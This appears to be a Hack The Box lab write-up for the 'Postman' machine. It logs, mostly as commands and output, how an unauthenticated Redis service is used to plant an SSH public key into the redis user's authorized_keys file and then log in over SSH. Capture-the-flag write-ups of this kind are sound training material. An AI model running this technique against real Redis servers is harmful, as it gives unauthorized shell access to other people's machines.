> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/hackthebox-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/postman/3-6379-redis.md).

# 3 :6379 redis

```
$ redis-cli -h 10.10.10.160
10.10.10.160:6379> info server
[redacted]

10.10.10.160:6379> info keyspace
# Keyspace
10.10.10.160:6379> keys *
(empty array)

Using https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis"

$ ssh-keygen -f id_rsa
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > spaced_id_rsa.txt
$ cat spaced_id_rsa.txt| redis-cli -h 10.10.10.160 -x set kashz
OK

10.10.10.160:6379> config set dir .ssh
OK
10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK

$ ssh -i id_rsa redis@10.10.10.160
redis@Postman:~$ whoami;id
redis
uid=107(redis) gid=114(redis) groups=114(redis)
```